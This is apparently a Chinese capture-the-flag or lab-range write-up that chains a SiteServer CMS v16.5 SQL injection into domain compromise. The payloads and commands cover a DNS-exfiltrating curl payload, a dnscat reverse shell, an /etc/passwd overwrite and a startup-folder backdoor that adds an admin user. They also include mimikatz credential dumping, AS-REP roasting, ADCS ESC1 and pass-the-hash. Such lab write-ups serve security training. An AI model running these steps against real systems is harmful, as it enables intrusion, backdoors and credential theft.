外网信息搜集打SiteServer v16.5数据库
外网信息搜集:
- 80端口有个SiteServer CMS版本为v16.5
- 2121端口有个允许匿名登录的FTP服务,该FTP服务下有个secret.7z
下载secret.7z(这里Mac下载不下来,用Linux的ftp可以下载)
1
2
3
4
|
ftp 39.99.238.69 2121
anonymous
dir
get secret.7z
|
下载下来之后,secret.7z打开需要密码,先将其转换为john格式,然后再用john去爆破密码(这里完整跑完john需要48个小时,但密码的位置比较靠前,大约1分钟左右就能跑出来了)
密码为13131313,注意要用7z命令去解压,Mac解压输入密码会失败
1
2
3
|
7z2john secret.7z >1.txt
john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt
7z x secret.7z
|
解压之后有一个secret.txt,给个一个uuid,这是SiteServer CMS的API密钥
80端口有SiteServer v16.5服务,该版本后台存在SQL注入:
SiteServer CMS提供了使用Header的API认证方式代替账号密码登录,因此,我们拥有了API之后,可以直接调用后台的接口进而造成SQL注入
精简的后台SQL注入请求包如下,后面的内容都从这个数据包展开:
1
2
3
4
5
6
7
|
POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.238.209
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json
Content-Length: 127
{"siteId":1,"keyword":"';select sys_eval('curl `whoami`.xwqn3w.dnslog.cn')-- ","groupId":0,"page":1,"perPage":24}
|
利用DNS隧道反弹shell和代理
经过测试,这里Web服务和MySQL数据库是分开的,并且MySQL数据库的TCP是不出网的,但DNS出网(可以用curl外带部分命令结果),所以我们需要搭建DNS隧道(而不是TCP隧道)
此时我们只能执行SQL语句,如果想要执行命令,可以采用加载udf.so的方式执行命令,由于加载udf.so的数据包比较大,这里就不在文中贴出来了,脚本已经放在了Github上:
执行udf-dnscat.py后,会写入udf.so,创建sys_eval函数,并且写入dnscat工具,dnscat工具可以实现利用DNS隧道反弹shell
DNS反弹shell的方式如下:
首先需要有一台云服务器(下文用1.1.1.1代替)和一个域名(下文用example.com代替),然后做一下DNS解析配置:
- 设置一个A记录,将test.example.com解析到1.1.1.1
- 再设置一个NS记录,将ns1.example.com解析到test.example.com
接着确保vps的53端口UDP协议处于开放状态,然后把vps中占用53端口的DNS服务关掉:
1
|
systemctl stop systemd-resolved
|
接着在vps上启动dnscat的服务端,这里我就用docker启动,密码设置为datou,这里的ns1.example.com替换为自己的域名:
1
|
docker run -p 53:53/udp -it --rm mpercival/dnscat2 ruby ./dnscat2.rb ns1.example.com -c datou
|
出现下方这个页面就是启动成功了:
然后利用后台的SQL注入去运行靶机中的dnscat客户端去与vps中的服务端相连:
1
2
3
4
5
6
7
|
POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.227.73
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json
Content-Length: 123
{"siteId":1,"keyword":"';select sys_eval('/tmp/dnscat --secret=datou ns1.example.com')-- ","groupId":0,"page":1,"perPage":24}
|
不出意外的话,应该能将shell反弹到vps上:
- windows就类比msf中的sessions
- 然后用window -i进入到session中
- 运行shell就会新增一个session
- 再用window -i进入到shell的session即可执行命令
1
2
3
4
|
windows
window -i 1
shell
window -i 2
|
如下图所示,可以正常执行命令了
常规suid提权,发现cp可以利用
有了cp命令,我们可以写入/etc/passwd设置root用户密码,下方命令会生成一个登录密码为123456的哈希
1
2
|
openssl passwd -6 -salt 1 123456
# $6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0
|
完整的passwd文件我也放到了Github上:
运行passwd.py,将伪造好的passwd写入到/tmp/passwd1中
然后我们再进入终端,用cp把/tmp/passwd1覆盖到/etc/passwd,这样我们就可以登录到root用户了,注意通过su登录需要可交互式shell,用python获取一下可交互式shell即可
1
2
3
4
|
cp /tmp/passwd1 /etc/passwd
python -c 'import pty;pty.spawn("/bin/bash")'
su root
123456
|
至此我们就拿到了root用户权限,读取/root/flag下的flag
但我们还没完成代理的操作,我们可以使用iodine做个DNS代理
首先上传iodine,脚本如下,项目目录里我也放了iodine二进制文件,直接替换IP运行即可
该脚本做了分段传输,运行之后,文件会写到/tmp/iodine中,传完记得验证一下md5,一般是不会有问题的,如果后面隧道一直搭建失败那就是文件传歪了,重新传即可
这里会遇到一个问题,dnscat和iodine都依赖53端口,照理来说应该要两台vps,那么我们如何在一台vps、一个域名的情况下完成代理呢?
答案是:让程序挂后台sleep一会。
iodine的工作原理是:在vps中启动一个服务端,会创建一个dns0虚拟网卡,然后我们在靶机中运行客户端,同样也会在客户端创建一个虚拟网卡dns0,然后去连接vps中53端口的服务端,这样靶机的机器就被加入到了dns0虚拟网卡上,注意靶机需要以root权限运行iodine
在靶机中以root权限运行下方命令
1
2
|
chmod +x /tmp/iodine
nohup sleep 10 && /tmp/iodine -f -P datou ns1.example.com &
|
然后快速掐掉dnscat的docker容器,再在vps上启动一个iodine服务端,等待靶机回连:
- 下方命令会创建一个192.168.0.1网段的虚拟网卡
1
|
iodined -f -c -P datou 192.168.0.1 ns1.example.com -DD
|
执行上方命令后,如果看到有dns回连的记录,应该就是成功了,上线的靶机会分配到192.168.0.2这个IP,由于靶机有装ssh服务,我们直接在vps中用ssh连接即可:
1
2
|
ssh root@192.168.0.2
123456
|
然后在vps上,用ssh命令创建一个socks代理:
1
|
ssh -N -D 29999 root@192.168.0.2
|
运行上方命令后,输入密码,会在vps的localhost监听29999端口,注意是localhost,不是0.0.0.0
所以我们还需要利用frp把vps的29999端口映射到外部的39999端口,配置文件如下:
1
2
3
4
5
6
7
8
9
|
[common]
server_addr = 1.1.1.1
server_port = 7000
[yj]
type = tcp
local_ip = 127.0.0.1
local_port = 29999
remote_port = 39999
|
这样,我们就在vps的39999端口上启动了一个通向靶机内网的socks5代理:
配置一下proxychains验证一下,能访问SiteServer CMS即可
内网信息搜集
代理挂好了,就该做内网信息搜集了,我们搜集172.22.61.0/24段即可
先用scp把fscan传输过去(因为是DNS代理,所以传输文件也挺慢的,耐心等待并验证md5即可)
1
|
scp fscan_amd64 root@192.168.0.2:/tmp/fscan_amd64
|
搜集到的结果如下:
- 172.22.61.41、MySQL数据库
- 172.22.61.17、XIAORANG\DC
- 172.22.61.50、XIAORANG\WEB、外网SiteServer CMS
- 172.22.61.34、XIAORANG\WIN2012
AS-REP Roasting进入域内
经过测试,DC的ldap服务可以匿名访问,所以用ldapsearch查询所有域用户
1
|
proxychains ldapsearch -H ldap://172.22.61.17 -b "DC=xiaorang,DC=lab" -x|grep ',CN=Users,DC=xiaorang,DC=lab'
|
域用户列表同样在Github上有存:
看看这些域用户是否开启了“不要求Kerberos预身份验证”选项
1
|
proxychains python3 GetNPUsers.py -dc-ip 172.22.61.17 -usersfile ../../../tmp/yunjing/TunnelX/user.txt xiaorang.lab/
|
发现yangdming开启了该选项,爆破出来密码为kier@n10
1
|
hashcat -m 18200 '$krb5asrep$23$yangdming@XIAORANG.LAB:324cd949cb813b90b13219cfc6bbbd6e$1b4b3d2bc2c3d754e74e425e18c759c35a27a12341d4e41bd40248d60b4c5c064dcc2ecd7e17571022465b61db5fa98c7826a4fe8e132bb895c48fbcdcd8f011c97ee741d716ca1401ba24a3fd01d72d95071d447a1def6d8cebb9e57108fa3ac2f235b86b281a198e84518fa06b0c3c8d0a8c51a025693ee5e8a23f7757499daf2a336bf26acb952bf814f891c435799221124c94d68a78c44e632eb1a8a6ab599e456cc037f89dee504cf56dcc1d8bef6f619cc7a3172be4d13430873588028dd547e3026ef229e4b545c825f14583baa7c2f0b94e6304a01021bb6fd5173cb2213060727b3e97c533277e' /usr/share/wordlists/rockyou.txt --force
|
没法直接PTH去连,可以用evil-winrm连接
1
|
proxychains evil-winrm -i 172.22.61.34 -u yangdming -p kier@n10
|
根据题目提示,需要提权,不过我们还是先做一波域内信息搜集:
可以用bloodhound-python收集:
1
|
proxychains bloodhound-python -d xiaorang.lab -u yangdming -p kier@n10 -gc dc.xiaorang.lab -c all
|
用bloodhound-python收集前,记得配置一下hosts:
1
2
|
172.22.61.17 xiaorang.lab
172.22.61.17 dc.xiaorang.lab
|
也可以把SharpHound.exe通过evil-winrm传到服务器上:
1
|
upload /tmp/SharpHound.exe .
|
接着指定一下域用户账号密码去做域内信息搜集
1
|
C:\Users\TEMP.XIAORANG\Documents\SharpHound.exe --ldapusername yangdming --ldappassword kier@n10 -c all
|
搜集到的结果如下,可以用download下载下来:
1
|
download 20231030142200_BloodHound.zip /tmp/20231030142200_BloodHound.zip
|
重启运行启动项后门获取system权限
根据题目的提示,我们需要提权到system,用BloodHound分析
发现yangdming这个用户在SHUWDOWN_GROUP组里
该组内的用户允许对机器重启
所以可以利用启动项提权,编写以下内容到add.bat:
- 首先把yangdming添加到本地管理员组内,方便后面信息搜集
- 然后把LocalAccountTokenFilterPolicy设置为1,否则后面用户在PTH的时候会爆
[-] rpc_s_access_denied
错误
- 接着添加benbi后门用户
1
2
3
4
5
|
@echo off
net localgroup administrators yangdming /add
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
net user benbi pass@123 /add
net localgroup administrators benbi /add
|
将add.bat上传到启动目录中,然后重启
1
2
|
upload /tmp/add.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\add.bat"
shutdown -r -t 0
|
重启后发现benbi用户生成了
这里就不用rdp去连了,因为是DNS隧道非常卡,直接用wmiexec.py连接拿下flag
1
|
proxychains python3 wmiexec.py benbi:pass@123@172.22.61.34
|
再上传mimikatz相关工具
1
2
3
4
|
upload /tmp/m/mimidrv.sys .
upload /tmp/m/mimilib.dll .
upload /tmp/m/mimispool.dll .
upload /tmp/m/mimikatz.exe .
|
用mimikatz成功抓到机器用户的哈希
1
|
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt
|
ADCS ESC1拿下域控
发现域内存在ADCS,用certipy探测一下,记得用机器用户的哈希,探测后发现存在ADCS ESC1
1
2
|
proxychains certipy find -u win2012\$@xiaorang.lab -hashes 00000000000000000000000000000000:41a258d72365350640270508748c9675 -dc-ip 172.22.61.17 -vulnerable
cat 20231030050124_Certipy.txt
|
发现win2012可利用模板,为域管请求证书,转换格式,请求TGT
1
|
proxychains certipy req -u win2012\$@xiaorang.lab -hashes 00000000000000000000000000000000:41a258d72365350640270508748c9675 -target 172.22.61.17 -ca xiaorang-DC-CA-CA -template win2012 -upn administrator@xiaorang.lab
|
1
|
proxychains certipy auth -pfx administrator.pfx -dc-ip 172.22.61.17
|
导出域内哈希
1
|
proxychains python3 secretsdump.py xiaorang.lab/administrator@172.22.61.17 -just-dc -hashes aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbbdcb0f53
|
拿到域管哈希之后即可拿下域控
1
2
|
proxychains python3 wmiexec.py xiaorang.lab/administrator@172.22.61.17 -hashes aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbbdcb0f53
type C:\Users\Administrator\flag\flag04.txt
|
PTH外网机器完结散花
再回头用域管的哈希把外网SiteServer CMS给PTH了,完结撒花。
1
2
|
proxychains python3 wmiexec.py xiaorang.lab/administrator@172.22.61.50 -hashes aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbbdcb0f53
type C:\Users\Administrator\flag\flag01.txt
|
题出的超级好,除了砂砾贵没有缺点。